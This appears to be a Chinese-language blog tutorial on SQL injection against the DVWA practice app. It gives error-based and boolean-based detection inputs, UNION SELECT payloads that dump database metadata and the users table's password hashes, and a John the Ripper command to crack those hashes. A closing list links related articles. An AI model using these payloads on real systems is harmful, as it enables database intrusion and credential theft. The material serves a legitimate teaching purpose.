SELECT * FROM users WHERE user='uname' AND password='pass'
SELECT * FROM users WHERE user='name' AND password=" OR"='
 
检测是否有sql注入
'
1' and '1'='1   --可用于盲注
1' and '1'='2
 
 
基于报错的检测方式

它的sql查询代码是SELECT first_name,srname from users where id=' 这里是需要填入的值 '

表示查询填入userID,查询对应ID的用户名信息,比如填入1

它是有漏洞的

当填入一个单引号时

SELECT first_name,srname from users where id=' ' '

就会形成单数个引号,其中有一个引号没有闭合就会发生报错,提示使用正确的格式

这样我们就知道这里有一个sql注入点,这是基于报错的检测方式

基于布尔的检测方式

当填入1' and '1'='1时,sql查询语句就会变成SELECT first_name,srname from users where id=' 1' and '1'='1 ',和填入1的结果一样

但是填入1' and '1'='2时,sql查询语句就会变成SELECT first_name,srname from users where id=' 1' and '1'='2 ',这句话后面的'1'='2'为假,所以是查询不出结果的

通过输入 1' and '1'='1和1' and '1'='2,得出的两种结果我们就可以简单判断这里有一个sql注入点,这是基于布尔的检测方式

检测有多少个查询字段

填入'order by 5--+,加号其实是空格,空格看起来不清楚所以用加号代替空格,--是sql语法里面注释的意思,排除后面多余的引号影响。

SELECT first_name,srname from users where id=' 'order by 5--+',这其实就是一个检测多少个查询字段的查询语句

如果5过大会报错

就一个个去试试,直到填入2时没有报错

我们就知道有2个查询字段

我们现在知道有两个查询字段,现在查询字段序号对应的名字'union select 1,2--+

SELECT first_name,srname from users where id=''union select 1,2--+'

得出序号1是First name, 序号2是surname

查询当前用户,和当前数据库的版本信息,使用到sql语句里面的user(),version()函数

'union select user(),version() --+

然后就得到了user信息,和数据库的信息

使用全局函数
@@datadir,@@hostname,@@VERSION,@@version_compile_os

查询数据库所在位置

'union select user(),@@datadir--+

使用hackbar,加号会自动变成空格

execute提交,可以看到结果和在user ID输入框中输入得到的结果差不多

CONCAT_WS(CHAR(32,58,32))表示用 空格对应ASCII码值32,冒号对应58,所以32,58,32表示空格冒号空格,这句话的意思是使用空格冒号空格对查询的字段进行分割

可以使用网站的服务器进行MD5值计算

查询库所有的表

'union select table_name,table_schema from information_schema.tables--+

统计每个库中表的数量

'union select table_schema,count(*) FROM information_Schema.tables group by table_schema --+

表名和表的数量就很清晰地显示出来了

查询dvma库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+

查询user表中所有列的内容(user_id,first_name,user,password,avator)

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users’--+

查询user,password列的内容,我们就得到了user信息和password的md5值

改变一下查询的格式,user和password之间用冒号连接

得到这些信息之后就可以进行暴力破解了

把username:passhash信息保存到dvwa.txt中
开始暴力破解
john --format=raw-MD5 dvwa.txt
 
 
 

sql注入(一)的更多相关文章

  1. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  2. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  3. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  4. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  5. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

  6. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. jdbc java数据库连接 8)防止sql注入

    回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象;  写sql 5:执行sql ...

  8. Entity Framework关于SQL注入安全问题

    1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL   参考: https: ...

  9. 关于SQL注入和如何防止

    之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...

  10. Java防止SQL注入2(通过filter过滤器功能进行拦截)

    首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...

随机推荐

  1. Xshell 本地上传、远程下载文件

    1.Xshell登录工具在创建会话的时候,点击最下面的ZMODEM,可以填写下载的路径和加载的路径:2个路径可以一样也可以不一样: 在下载的时候可以下载到相应的路径去.(我设置的是下载前始终询问) 2 ...

  2. 关于thinkphp中post提交空白的思考

    关于thinkphp中post提交空白的思考 首选检查 目标路径是否存在 如果目标URL不存在 那肯定是空 如果提交的路径存储  TP这种完善的系统肯定会提示 各种报错了

  3. Maven项目指定JDK版本

    <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> ...

  4. NIO,OIO,AIO区别

    OIO中,每个线程只能处理一个channel(同步的,该线程和该channel绑定). 线程发起IO请求,不管内核是否准备好IO操作,从发起请求起,线程一直阻塞,直到操作完成,如图: NIO中,每个线 ...

  5. Android呼吸灯效果实现

    最近需要做一个搜索动画的呼吸灯效果,在网上查了下有以下两种实现方式,现记录下来. 实现呼吸灯效果本质上都是使用ImageView动画,实现alpha值变化. 第一种方式,直接使用动画实现,代码如下: ...

  6. CentOS7 安装 Mongodb 与 NodeJs 主要心得

    一.mongodb 1.安装 由于使用yum源下载安装总是超时,所以选择了tarball方式安装. 官方安装方法链接,https://docs.mongodb.com/manual/tutorial/ ...

  7. 【ASP.NET 进阶】Flv视频文件在线播放示例

    最近要做个播放Flv文件的东东,网上找到一个合适的,效果如下(GIF录制软件不太好,差不多就是这样子,不过在浏览器上很流畅,具体代码可以看源代码): 源代码:FlvVideoSee.zip 问题说明: ...

  8. leetcode1023

    class Solution(object): def getGroup(self,que): group = list() temp = '' for i in range(len(que)): c ...

  9. https://www.52pojie.cn/thread-688820-1-1.html

    https://www.52pojie.cn/thread-688820-1-1.html

  10. flash时间轴声音大小控制

    A2时间轴声音大小控制: var sound:Sound = new Sound(); sound.setVolume(200); 把背景音乐放到一个影片剪辑里,剪辑起名 例如bgm_mc 声音模式为 ...